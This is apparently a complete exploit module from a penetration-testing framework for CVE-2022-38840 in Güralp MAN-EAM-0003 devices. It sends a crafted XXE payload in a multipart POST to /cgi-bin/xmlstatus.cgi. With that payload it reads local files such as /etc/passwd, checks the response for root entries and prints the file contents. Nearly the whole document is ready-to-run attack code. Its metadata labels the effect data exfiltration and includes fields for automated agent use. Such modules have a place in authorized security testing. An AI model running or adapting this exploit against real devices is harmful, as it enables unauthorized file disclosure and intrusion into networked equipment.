Güralp MAN-EAM XXE LFI (CVE-2022-38840)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Güralp MAN-EAM-0003 xmlstatus XXE LFI (CVE-2022-38840)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Güralp MAN-EAM XXE LFI (CVE-2022-38840)',
        'description': (
            'Exploits CVE-2022-38840 in Güralp MAN-EAM-0003 3.2.4: XXE via xml_data in '
            'POST /cgi-bin/xmlstatus.cgi reads local files such as /etc/passwd.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-38840'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-38840'],
        'tags': ['guralp', 'iot', 'xxe', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2022_38840_detect']},
        },
    }

    file_path = OptString('file:///etc/passwd', 'file:// URI for XXE entity', required=True)

    def _body(self, file_uri: str) -> str:
        uri = str(file_uri or 'file:///etc/passwd')
        xml = (
            "<?xml version='1.0'?>\n"
            f'<!DOCTYPE replace [<!ENTITY xxe SYSTEM "{uri}">]>\n'
            "<xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'>\n"
            "<module status='-1' display-primary='true' path='system' title='Linux system'>\n"
            "<reading status='-1' display-primary='true' path='build_label'\n"
            "    title='Software repository label'>&xxe;</reading>\n"
            "</module>\n</xml-status>"
        )
        boundary = '----KittySploitGuralp'
        return (
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="xml_file"; filename=""\r\n'
            'Content-Type: application/octet-stream\r\n\r\n\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="xml_data"\r\n\r\n'
            f'{xml}\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="upload_xml"\r\n\r\n'
            'Upload and view\r\n'
            f'--{boundary}--\r\n'
        )

    def execute(self, file_uri: str) -> str:
        boundary = '----KittySploitGuralp'
        r = self.http_request(
            method='POST',
            path='/cgi-bin/xmlstatus.cgi',
            data=self._body(file_uri),
            headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute(str(self.file_path or 'file:///etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'Güralp XXE LFI confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'xmlstatus XXE failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Güralp device not vulnerable')
            return False
        body = self.execute(str(self.file_path or 'file:///etc/passwd'))
        print_success(body[:4000])
        return True